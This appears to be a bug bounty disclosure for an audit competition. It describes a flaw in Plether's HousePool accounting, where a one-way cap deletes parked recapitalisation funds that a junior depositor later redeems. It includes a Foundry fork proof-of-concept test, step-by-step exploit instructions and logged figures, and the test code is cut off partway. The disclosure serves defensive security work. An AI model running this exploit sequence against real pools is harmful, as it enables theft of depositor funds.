A 10% mark deletes parked recap, and the flat settle pays it to junior
A one-way cap in the reconcile plan permanently lowers the pool's parked recapitalisation balance when a marked loss briefly exceeds it, and never restores it once the mark recovers. A junior depositor could then redeem more than they put in, because the deleted recap is re-seeded as junior principal and paid out.
- Disclosed after under an hour
#99500 [SC-Medium] A 10% mark deletes parked recap, and the flat settle pays it to junior
Submitted on Nov 13th 2026 at 22:21:17 UTC by @Omisanin0 for Audit Competition | Plether
- Report ID: #99500
- Report Type: Smart Contract
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
When senior principal already sits on its high-water mark, recapitalizePool parks the new USDG in unassignedAssets. That balance is reserved out of LP withdrawals. assignUnassignedAssets is the call that can still hand it out. A short marked 10% above its entry makes terminal equity smaller than the parked balance. planReconcile then lowers unassignedAssets to whatever distributable is left, and it never writes the tag back up. The same settle wipes both principals. One hour later the basket is 1.00 again. The short is closed at that recovered price, so the marked loss is not paid to the trader and the cash stays in the pool. On that flat book the cap predicate is false: distributable is above the stored tag. The next settleLpEpoch still seeds distributable minus the stale tag through the revenue route. Senior is restored only up to the old high-water mark. The rest becomes junior principal. Bob's claimRedeem pays that principal out in USDG.
On the Arbitrum Sepolia v2.0.0 fork, Bob deposited 2,000,000 USDG and was paid 3,108,751.362680 USDG. The 1,108,751.362680 USDG above the deposit is his share of the 1,639,548.074718 USDG the 1.10 mark deleted from unassignedAssets. The owner can afterwards assign only the 158,360,571.925282 USDG the cap left behind.
Vulnerability Details
CfdEngine.recapitalizePool pulls USDG from the engine owner into HousePool and records a recapitalization inflow. It mints no shares. HousePoolPendingPreviewLib.applyClaimantRecapitalizationIntent restores senior principal only up to seniorHighWaterMark. Anything left is added to unassignedAssets. The function comment says recapitalization never accrues to junior principal. ACCOUNTING_SPEC.md says the same thing in the ownership section: the queued amount goes to senior restoration or to unassigned assets, and only value with no safe claimant path belongs in unassignedAssets.
The comparison rule is in the waterfall section. Terminal equity is compared with total principal after reserved pending inflows and unassignedAssets are taken out. A shortfall is charged to junior, then senior. Losses do not reduce the senior high-water mark. Surplus restores senior to the mark, then goes to junior.
HousePoolReconcilePlanLib.planReconcile does the cap before that comparison, and the cap only moves one way:
plan.claimedEquityZero = plan.state.waterfall.seniorPrincipal + plan.state.waterfall.juniorPrincipal == 0;
plan.state.unassignedAssets =
state.unassignedAssets > snapshot.distributable ? snapshot.distributable : state.unassignedAssets;
if (plan.claimedEquityZero) {
uint256 seededDistributableToClaims = snapshot.distributable > plan.state.unassignedAssets
? snapshot.distributable - plan.state.unassignedAssets
: 0;
HousePoolPendingPreviewLib.applyRevenueIntent(plan.state, seededDistributableToClaims);
return plan;
}
The comment names those two operations. It caps unassignedAssets when the stored tag is above distributable, and it seeds distributable minus the stored tag when principal is zero. It does not say to keep the lower number after distributable recovers.
claimedEquityZero is taken from principal after the coupon, before the cap. On the stress settle the principals are still there, so the seed branch is skipped. buildReconcileSnapshot adds a negative terminalLpPriceDeltaAssets to liabilities, and distributable is physical assets minus those liabilities. The short is 574,000 lots, entered at 1.00000000. At 1.10000000 the terminal delta is -5,740,000.000000 USDG. That loss is larger than the 4,000,002.000007 USDG of principal, so distributable falls through the parked balance and the cap stores the lower tag. The write-off is the stress loss minus principal minus the open-fee cash that had just arrived:
5,740,000.000000 - 4,000,002.000007 - 100,449.925275 = 1,639,548.074718
Distributable left for claims is then 0. absorbLoss takes the shortfall from junior and then senior and leaves the high-water mark where it is. Both principals print 0. Pool USDG does not move. Bob's redeem in that epoch is refunded. The engine cap is still 2.00000000. This print is 1.10.
One hour later router.updateMarkPrice publishes basket 1.00000000. The short is still open. The call does not settle the pool. Terminal delta at that mark is 0. unassignedAssets stays 158,360,571.925282. Both principals stay 0. The cash balance does not move. The close is the next second, through commitOrder and executeOrder, at the same 1.00000000 basket. A short profits when the exit value is at least the entry cost, so this fill has no price PnL. The trader's wallet does not gain. The pool drops 77,370.482720 USDG of round-trip fees. The tag stays capped.
After that close the book is flat. Pending revenue is 57.919296 USDG and trader claims are 0, so distributable is 164,023,143.523266 USDG. The stored tag is 158,360,571.925282 USDG. The cap predicate unassigned > distributable is false. The gap between them is 5,662,571.597984 USDG, which still contains the 1,639,548.074718 USDG that was quarantined recap. HousePool._reconcile writes unassignedAssets = plan.state.unassignedAssets and has no path that restores the deleted amount when distributable recovers. The cap expression is a minimum against whatever number was stored last time.
The recovery settle is flat, so OrderRouter.settleLpEpoch is permissionless. Principal is 0, so claimedEquityZero is true. The cap leaves the stored tag where it is, because the tag is already below distributable. The seed is accounted cash minus that tag, 5,662,629.517280 USDG. applyRevenueIntent is called with claimed equity disabled. Principal is 0, so the early return that would park the amount back into unassigned does not fire. Senior supply is nonzero, so the gap seniorHighWaterMark - 0 is filled first. Senior comes back to 1,001,005.585252 USDG, the high-water mark absorbLoss kept. Junior supply is nonzero, so the remainder is added to juniorPrincipal.
HousePool._settleLpEpoch reconciles before it prices the junior phase. The phase uses juniorPrincipal. The redemption phase transfers settlement token into the vault. claimRedeem pays Bob. getFreeAssets before the stress settle was 4,000,002.000007, equal to the two principals, so the parked recap was reserved. After the seed the same cash is principal, and the redeem pays it.
assignUnassignedAssets reads the stored unassignedAssets after its own reconcile. That read returns the capped balance. The 1,639,548.074718 USDG is no longer in the balance the owner can assign.
The 5,740,000 USDG terminal delta is the mark on an open short, and the close at the recovered 1.00 print does not pay it out. The USDG Bob receives above his deposit was the recap the cap took off unassignedAssets. F-98667 is a different root: a replaced recap mark pays booked senior principal to junior while senior is impaired. Here senior starts equal to its high-water mark, the recap is parked, and the paying balance is the amount the cap deleted. F-97677 is the flat-short pledge. This short is filled at 1.00000000, closed at 1.00000000, and the trader wallet gain on the close is 0.
commitOrder, executeOrder, updateMarkPrice, and settleLpEpoch are external router functions. After recapitalizePool, the owner is not called again. The assign call in the test is reverted. It shows the balance the owner can still see.
Impact Details
Impact: Direct theft of any user funds, whether at rest or in motion, other than unclaimed yield. Critical.
The recap is HousePool USDG. Before the stress settle it sits in unassignedAssets, and getFreeAssets does not include it. After the recovery redeem it is in Bob's wallet. The owner funded it through the documented recapitalizePool. The owner does not pick a share price and does not sign the open, the close, or either settle.
Settlement token is the deployed Sepolia USDG, 6 decimals. The fork is Arbitrum Sepolia v2.0.0 at block 324500000. Perps is not on mainnet, so the figures are the measured transfer on this position. The fork already had senior and junior principal. Bob's 2,000,000 USDG is a deposit into that junior vault, and his redeem is his share of the junior principal the seed creates. The rest of the junior seed stays as juniorPrincipal for the shares that do not exit.
| Account | Deposited (USDG) | Received (USDG) | Difference (USDG) |
|---|---|---|---|
| Bob, junior | 2,000,000.000000 | 3,108,751.362680 | +1,108,751.362680 |
| Trader wallet on the close | margin stays in the clearinghouse | 0 | 0 |
| Pool on the round trip | -77,370.482720 |
The short is 574,000 lots, notional 57,400,000 USDG, margin 28,720,000 USDG plus a 1,000 USDG bounty buffer in the clearinghouse. The stress print is 1.10000000, ten percent above the 1.00000000 entry, and under the 2.00000000 engine cap. Price PnL on the round trip is 0. The 77,370.482720 USDG is the fee cash that leaves the pool. One person can be Bob and the trader. That person's net, after the whole fee, is 1,031,380.879960 USDG. If another account holds the short, Bob's excess is the full 1,108,751.362680 USDG.
The tag that disappears is larger than Bob's excess, because other junior shares remain. The identities from the run:
- Parked unassigned 160,000,120.000000. Capped unassigned 158,360,571.925282. Written off 1,639,548.074718. The last two sum to the parked balance.
- Stress settle cash is 164,100,571.925282 before and after. Both principals are 0. Bob's USDG stays 0 and his shares are returned.
- The recovered
updateMarkPriceis at timestamp 1793592001. The stress mark was 1793588401. The gap is 3,600 seconds. Mark 100,000,000. Terminal delta 0. Unassigned and both principals are unchanged, and the pool balance does not move. - Close one second later, at the same 1.00 basket. Terminal delta 0, trader wallet gain 0, unassigned unchanged, principals still 0.
- Flat distributable is 164,023,143.523266. The cap predicate does not bind. Distributable minus the stored tag is 5,662,571.597984, which is the wiped principal plus the net fee cash minus 57.919296 of pending revenue, plus the 1,639,548.074718 write-off.
- Seeded principal, senior left plus junior left plus Bob's payment, is 5,662,629.517280. Accounted cash before the redeem minus the capped tag is the same number.
- That seed is the pre-stress principal of 4,000,002.000007 plus an increase of 1,662,627.517273. The increase is the write-off 1,639,548.074718, plus the 100,449.925275 of cash the open added, minus the 77,370.482720 the close removed.
- Junior principal rises by 1,662,618.375753 from its pre-stress value. That is the write-off plus 23,070.301035. Senior is restored to 1,001,005.585252, which is 9.141520 above its pre-stress principal, the high-water mark
absorbLosskept. Those two leftovers sum to the 23,079.442555 of fee cash that stayed in the pool. - USDG
totalSupplydoes not change on the recovery settle. The pool balance falls by exactly Bob's 3,108,751.362680. assignUnassignedAssetsmints against 158,360,571.925282. After the snapshot revert, Bob's wallet and the pool balance are the paid figures.
References
packages/perps/src/libraries/HousePoolReconcilePlanLib.sol:planReconcile(line 47). Zero-principal flag at line 62, before the cap. Cap at lines 73-74. Seed at lines 76-81.packages/perps/src/libraries/HousePoolPendingPreviewLib.sol:applyClaimantRecapitalizationIntent(line 111) parks the remainder inunassignedAssets.applyRevenueIntent(line 158) restores senior up to the high-water mark and adds the rest tojuniorPrincipalwhen principal is 0.packages/perps/src/libraries/HousePoolAccountingLib.sol:buildReconcileSnapshot(line 60). A negative terminal delta increases liabilities.packages/perps/src/libraries/HousePoolWaterfallAccountingLib.sol:absorbLoss(line 167). The high-water mark is left unchanged.packages/perps/src/HousePool.sol:_reconcile(line 1562) stores the capped unassigned at line 1585._settleLpEpoch(line 824) reconciles before redemption pricing.assignUnassignedAssets(line 660) assigns the stored balance.getFreeAssets(line 1235).packages/perps/src/CfdEngine.sol:recapitalizePool(line 632).packages/perps/src/OrderRouter.sol:commitOrder(line 85),executeOrder(line 240),updateMarkPrice(line 429),settleLpEpoch(line 479).packages/perps/ACCOUNTING_SPEC.md: line 315, value with no claimant path sits inunassignedAssets. Lines 336-338, terminal equity excluding unassigned is compared with principal, and losses do not reduce the senior high-water mark. Lines 642-650, recap allocates to senior restoration or unassigned, and only value with no safe claimant path belongs there.- Source pin
a82d4fefb02768e5b3bddcc97dee371eee24fea8.packages/perps/srcat that commit matches the Arbitrum Sepolia v2.0.0 deployment.
Proof of Concept
Proof of Concept
Run from audit-comp-plether/packages/perps (foundry.toml: solc 0.8.35, via-IR, optimizer runs 200). Optional env ARB_SEPOLIA_RPC_URL. If it is unset, the test forks https://arbitrum-sepolia.gateway.tenderly.co at block 324500000.
cd audit-comp-plether/packages/perps && forge test --match-contract F22451CleanFork --threads 1 -vv
The recorded run added --offline after that fork block was cached. Suite result: ok. 1 passed, 0 failed, 334.54ms.
Chain id 421614. HousePool 0xeB5604c393843B2f3c347Ec24Fa9dDaD6Ab2131e, codehash 0x5e684cc82bfc5b697a24c80ef26910cfbe25efbe6fb2ca184c421808b5ced957. OrderRouter 0x918663D6Da8CB33b325a04c4A5e8c51D42F3b444. USDG 0x3d051DbBf5Ff427a4aE8Ad09746902666Af8FB9D, the deployment's mintable token. No in-scope file is edited. No protocol vm.mockCall or vm.store.
Pyth in the test is MockPyth from packages/shared/test-support, etched over the oracle's Pyth address 0x0B73614636C855Bf23F342F307FB981A3e47f42B. A signed Pyth update cannot be produced offline, and the program forbids calling live Pyth. The six feed ids, weights, base prices, and inversions are read from the deployed oracle. The test stops unless those weights sum to 1e18 and the preview basket is exactly 1.00000000 and 1.10000000. Confidence is 0. The engine mark after updateMarkPrice and after settleLpEpoch is the basket the payload asked for. Foundry has no ArbSys precompile, so ArbitrumForkSupport.install etches the repo's ForkArbSys stub at address 100. That stub is not a protocol contract.
Opens and closes go through commitOrder and executeOrder. Both returned status 2, pending reason 0, terminal reason 1. The stress epoch and the recovery epoch go through settleLpEpoch. The 1.00 print an hour after the stress mark goes through updateMarkPrice while the short is still open, and it does not settle the pool. The owner calls recapitalizePool once, for 40 times the principal then outstanding. Bob's payout is claimRedeem.
The fill warps inside _executeFill, immediately before executeOrder. via-IR caches block.timestamp across vm.warp in the same function, and the oracle reads the EVM clock. The historical publish time is commitTime + 1, with prevPublishTime equal to the commit time. Live mode is bit 1. The close fill is one second after the recovered live mark, and both prices are 1.00000000.
Steps:
- Warp to Sunday 2026-11-01 22:30:00 UTC and publish basket 1.00000000 through
router.updateMarkPrice. The book is flat, unassigned is 0, and the order queue is empty. - Bob
requestDeposits 2,000,000 USDG. A dust account deposits 1 USDG. Each deposit is settled withrouter.settleLpEpochand claimed. - The engine owner calls
recapitalizePoolfor 40 times the principal then outstanding. The dust account redeems. That settle parks the recap. Dust is paid 0.999993 USDG. Unassigned is 160,000,120.000000. Free cash is 4,000,002.000007, equal to principal. - The trader deposits margin and opens a 574,000 lot short through
commitOrderandexecuteOrderat basket 1.00000000. Entry price is 100,000,000. Notional is 57,400,000 USDG. Unassigned does not change. Terminal delta is 0. - After the deposit cooldown, Bob
requestRedeems. At the next epoch,router.settleLpEpochpublishes basket 1.10000000. Terminal delta is -5,740,000.000000. The pool balance does not move. Both principals are 0. Unassigned is 158,360,571.925282. Written off 1,639,548.074718. Bob's redeem pays 0 and the shares come back. - One hour later,
router.updateMarkPricepublishes basket 1.00000000. Stress mark time 1793588401, recovered mark time 1793592001. The short is still open. Terminal delta is 0. Unassigned and both principals are unchanged. The pool balance does not move. - The trader closes the whole short through
commitOrderandexecuteOrderat that same 1.00000000 basket, one second later. Size is 0. Terminal delta is 0. Trader wallet gain is 0. The pool drops 77,370.482720 USDG. Distributable is 164,023,143.523266 and the cap predicate does not bind. Unassigned and both principals stay where the stress settle left them. - Bob
requestRedeems again. The nextrouter.settleLpEpochis at basket 1.00000000.claimRedeempays 3,108,751.362680 USDG. The pool balance falls by that amount. Total supply is unchanged. Unassigned is still 158,360,571.925282. - The test snapshots, calls
assignUnassignedAssets(false, assignee), and reverts the snapshot. Assignable is 158,360,571.925282. Bob's wallet and the pool balance after the revert are the figures from step 8.
dustPaid 999993
unassignedBefore 160000120000000
freeBefore 4000002000007
principalBefore 4000002000007
shortLots 574000
expectedStressLoss 5740000000000
executeStatus 2
executePending 0
executeTerminal 1
deltaAtEntry 0
deltaAtStress -5740000000000
unassignedCapped 158360571925282
writtenOff 1639548074718
recoveredMarkTime 1793592001
stressMarkTime 1793588401
deltaAtRecoveredMark 0
executeStatus 2
executePending 0
executeTerminal 1
deltaFlat 0
distributableFlat 164023143523266
capPredicateBinds 0
poolDropOnClose 77370482720
traderWalletGain 0
bobPaid 3108751362680
principalSeeded 5662629517280
expectedSeed 5662629517280
juniorIncrease 1662618375753
principalIncrease 1662627517273
bobExcess 1108751362680
assignableAfterCap 158360571925282
Full test, audit-comp-plether/packages/perps/test/perps/fork/F22451CleanFork.t.sol:
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {console2} from "forge-std/console2.sol";
import {Test} from "forge-std/Test.sol";
import {ArbitrumForkSupport} from "@plether/test-utils/ArbitrumForkSupport.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
/// @notice Clean fork PoC for the unassigned-cap seed.
/// @dev Local Arbitrum Sepolia fork only. Production path is `OrderRouter.commitOrder`,
/// `OrderRouter.executeOrder`, `OrderRouter.updateMarkPrice`, and `OrderRouter.settleLpEpoch`.
/// The stress print is 1.10, not the cap. The recovered 1.00 print is a later live mark.
/// MockPyth replaces only the out-of-scope Pyth endpoint. USDG is the deployed mintable
/// Sepolia token. No in-scope source edit, no protocol `vm.etch`, `vm.mockCall`, or
/// `vm.store`. The owner calls `recapitalizePool` once, which is the documented park,
/// and does not act again.
/// Run from `packages/perps`:
/// forge test --match-contract F22451CleanFork --threads 1 -vv
contract F22451CleanForkTest is Test {
uint256 constant FORK_BLOCK = 324_500_000;
/// @dev Sunday 2026-11-01 22:30:00 UTC, after the 17:00 New York FX open.
uint256 constant LIVE_TS = 1_793_572_200;
uint256 constant JUNIOR_DEPOSIT = 2_000_000e6;
uint256 constant DUST_DEPOSIT = 1e6;
uint256 constant ENTRY = 1e8;
/// @dev 1.10 basket. Ten percent above entry, under the 2.00 cap.
uint256 constant STRESS = 110_000_000;
uint256 constant CAP = 2e8;
/// @dev 10% of a 35% short clears principal once parked recap is about 28x principal. 40x leaves fee room.
uint256 constant RECAP_MULTIPLE = 40;
uint256 constant FEEDS = 6;
uint256 constant SCALE = 1e10;
uint256 constant LIVE_MODE = 1;
uint256 constant MARK_ENTRY = 1;
uint256 constant MARK_STRESS = 2;
address constant POOL = 0xeB5604c393843B2f3c347Ec24Fa9dDaD6Ab2131e;
address constant JUNIOR = 0x4A8b67184a1E3224c11A191cc69F22C50EEf734e;
address constant SENIOR = 0x5Dc42Ba5a1E8DD3E1B6868D10f66A9bf8Fb5B83d;
address constant ENGINE = 0xcA18a6783D7542F9D2F28F4f259772b74C4D6bAA;
address constant CLEARINGHOUSE = 0xB5B851f627d6Df3CF3F096E23e20a58884D7b89A;
address constant TOKEN = 0x3d051DbBf5Ff427a4aE8Ad09746902666Af8FB9D;
address constant ROUTER_ADDR = 0x918663D6Da8CB33b325a04c4A5e8c51D42F3b444;
address constant RELEASE_PYTH = 0x0B73614636C855Bf23F342F307FB981A3e47f42B;
bytes32 constant POOL_CODEHASH = 0x5e684cc82bfc5b697a24c80ef26910cfbe25efbe6fb2ca184c421808b5ced957;
IUsdG internal token;
IPool internal pool;
IVault internal junior;
IVault internal senior;
IEngine internal engine;
IRouter internal router;
IOracle internal oracle;
address internal pyth;
address internal bob;
address internal dust;
address internal trader;
address internal assignee;
bytes32[] internal feedIds;
uint256[] internal weights;
uint256[] internal bases;
bool[] internal inverted;
int64[] internal rawAtEntry;
int64[] internal rawAtStress;
function setUp() public {
string memory rpc = vm.envOr("ARB_SEPOLIA_RPC_URL", string("https://arbitrum-sepolia.gateway.tenderly.co"));
vm.createSelectFork(rpc, FORK_BLOCK);
ArbitrumForkSupport.install();
assertEq(block.chainid, 421_614, "fork must be Arbitrum Sepolia");
assertEq(POOL.codehash, POOL_CODEHASH, "fork is not the v2.0.0 HousePool");
token = IUsdG(TOKEN);
pool = IPool(POOL);
junior = IVault(JUNIOR);
senior = IVault(SENIOR);
engine = IEngine(ENGINE);
router = IRouter(engine.orderRouter());
assertEq(address(router), ROUTER_ADDR, "engine router is not the v2.0.0 router");
oracle = IOracle(router.pletherOracle());
pyth = oracle.pyth();
assertEq(pyth, RELEASE_PYTH, "oracle Pyth endpoint moved");
bob = makeAddr("bob");
dust = makeAddr("dust");
trader = makeAddr("trader");
assignee = makeAddr("assignee");
_loadBasket();
_installPythMock();
}
function test_Fork_CleanPathSeedsCappedUnassignedIntoJuniorRedeem() public {
_warpUntilOracleLive();
_refresh(MARK_ENTRY);
assertEq(engine.lastMarkPrice(), ENTRY, "live mark is not 1.00");
assertTrue(!engine.isOracleFrozen(), "oracle frozen");
assertTrue(!engine.isFadWindow(), "FAD window");
_log("pin");
(uint256 longOi,,,) = engine.sides(0);
(uint256 shortOi,,,) = engine.sides(1);
require(longOi == 0 && shortOi == 0, "fork book is not flat");
require(engine.CAP_PRICE() == CAP, "cap is not 2.00");
require(STRESS > ENTRY && STRESS < CAP, "stress print is not between entry and the cap");
require(pool.unassignedAssets() == 0, "pin already has unassigned cash");
require(router.nextExecuteId() == router.nextCommitId(), "fork order queue is not empty");
// Step 1. Bob deposits junior through the vault. The dust redeem is the matured
// epoch work that commits the recap reconcile. It is priced before the cap.
_deposit(junior, bob, JUNIOR_DEPOSIT);
_deposit(junior, dust, DUST_DEPOSIT);
uint256 bobShares = junior.balanceOf(bob);
require(bobShares > 0, "junior deposit minted no shares");
_log("deposited");
uint256 principalBeforeRecap = pool.seniorPrincipal() + pool.juniorPrincipal();
require(pool.seniorPrincipal() > 0 && pool.seniorPrincipal() == pool.seniorHighWaterMark(), "senior is impaired");
require(pool.juniorPrincipal() > JUNIOR_DEPOSIT, "junior principal missed the deposit");
_mintAndRecap(principalBeforeRecap * RECAP_MULTIPLE);
uint256 dustPaid = _redeemAndCollect(junior, dust);
_log("parked");
console2.log("dustPaid", dustPaid);
require(dustPaid > 0 && dustPaid < 2e6, "dust redeem was not the 1 USDG park settle");
uint256 seniorBefore = pool.seniorPrincipal();
uint256 juniorBefore = pool.juniorPrincipal();
uint256 principalBefore = seniorBefore + juniorBefore;
uint256 unassignedBefore = pool.unassignedAssets();
uint256 cashBefore = token.balanceOf(POOL);
uint256 freeBefore = pool.getFreeAssets();
console2.log("unassignedBefore", unassignedBefore);
console2.log("freeBefore", freeBefore);
console2.log("principalBefore", principalBefore);
require(pool.pendingRecapitalizationAssets() == 0, "recap still pending");
require(unassignedBefore > principalBefore, "recap was not parked as unassigned");
require(freeBefore + unassignedBefore <= cashBefore, "free cash already includes unassigned");
// Step 2. Permissionless short open through commitOrder + executeOrder.
// The cap mark has to cross principal and stay inside pool cash. The trader is not paid.
uint256 depth = pool.totalAssets();
uint256 lots = depth * 35 / 100 / ENTRY;
require(lots > 0, "no short room");
uint256 expectedLoss = lots * (STRESS - ENTRY);
console2.log("shortLots", lots);
console2.log("expectedStressLoss", expectedLoss);
require(expectedLoss > principalBefore, "cap mark cannot cross principal");
require(expectedLoss < cashBefore, "cap mark would consume more than the cash");
uint256 notional = lots * ENTRY;
_open(trader, lots, notional / 2 + 20_000e6);
_log("opened");
(uint256 openSize,, uint256 entryPrice,,,,) = engine.positions(trader);
require(openSize == lots * 1e20, "open size mismatch");
require(entryPrice == ENTRY, "open fill is not 1.00");
int256 deltaAtEntry = _terminalDelta();
console2.log("deltaAtEntry");
console2.logInt(deltaAtEntry);
require(pool.unassignedAssets() == unassignedBefore, "open spent the quarantined balance");
// Step 3. Queue Bob, settle the 1.10 basket through the router, and refund the redeem.
// The stress settle moves no USDG. It writes unassigned down and zeros both principals.
uint256 bobBeforeCap = token.balanceOf(bob);
uint256 capRequest = _queueRedeem(junior, bob);
uint256 capMaturity = pool.lpEpochStart(capRequest);
if (block.timestamp <= capMaturity) vm.warp(capMaturity + 1);
_syncClock();
uint256 cashAtCapBefore = token.balanceOf(POOL);
_settle(MARK_STRESS);
int256 deltaAtCap = _terminalDelta();
console2.log("deltaAtStress");
console2.logInt(deltaAtCap);
require(engine.lastMarkPrice() == STRESS, "stress settle did not mark at 1.10");
require(deltaAtCap < 0, "cap mark is not a trader gain");
require(uint256(-deltaAtCap) > principalBefore, "terminal loss does not cross principal");
uint256 capRefund = junior.refundableRedeemRequest(capRequest, bob);
require(capRefund > 0, "cap settle did not refund the redeem");
require(junior.claimableRedeemRequest(capRequest, bob) == 0, "cap settle funded the redeem");
vm.prank(bob);
junior.claimRedeemRefund(capRequest, bob, bob);
require(token.balanceOf(bob) == bobBeforeCap, "cap settle paid bob");
_log("capped");
uint256 unassignedCapped = pool.unassignedAssets();
uint256 writtenOff = unassignedBefore - unassignedCapped;
uint256 cashAtCap = token.balanceOf(POOL);
console2.log("unassignedCapped", unassignedCapped);
console2.log("writtenOff", writtenOff);
require(pool.seniorPrincipal() == 0 && pool.juniorPrincipal() == 0, "cap settle left principal");
require(writtenOff > 1, "cap did not write off more than 1 raw");
require(unassignedCapped < unassignedBefore, "unassigned was not capped");
require(cashAtCap == cashAtCapBefore, "cap settle moved USDG");
require(junior.balanceOf(bob) == bobShares, "cap settle burned bob");
// Step 4. An hour later, publish 1.00 through the live mark path. The short stays open.
// This print does not settle the pool, so the capped tag and the zero principals stay.
uint64 stressTime = engine.lastMarkTime();
_advanceLive(uint256(stressTime) + 1 hours);
_refresh(MARK_ENTRY);
require(engine.lastMarkPrice() == ENTRY, "recovery print is not 1.00");
require(uint256(engine.lastMarkTime()) >= uint256(stressTime) + 1 hours, "recovery print is not an hour later");
require(pool.unassignedAssets() == unassignedCapped, "live print restored unassigned");
require(pool.seniorPrincipal() == 0 && pool.juniorPrincipal() == 0, "live print restored principal");
int256 deltaRecovered = _terminalDelta();
console2.log("deltaAtRecoveredMark
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the reconcile cap only ever lowers the stored unassigned balance and has no path to restore it when distributable recovers, so the deleted recap is later seeded as principal.
Impact
A junior depositor could withdraw roughly 1.1 million USDG more than deposited, funded by the recapitalisation the owner provided, though the figures come from a test fork rather than mainnet.
What the attacker needed
Owner calls recapitalizePool; junior depositor with redeem rights; a short position can be opened; mark moves 10% then recovers
The fix
The reconcile cap should be reversible, so that when distributable recovers the stored unassigned balance is restored rather than left at the previously capped minimum.
How it was found
- Publish a flat basket price and confirm the book is empty.
- Have a junior depositor deposit, settle the epoch and claim.
- Call recapitalizePool so the recap is parked in unassigned assets.
- Open a short at the entry price.
- Settle the epoch at a mark ten percent higher, which caps the unassigned balance and zeroes both principals.
- Publish the recovered price, close the short, then settle again and claim the redeem.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A pool keeps some cash aside as a reserve for future payouts. A price swing made the pool's books look worse than they were, so the code shrank that reserve and never grew it back when prices returned. The missing reserve was then treated as profit owed to one depositor, who withdrew more money than they deposited.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.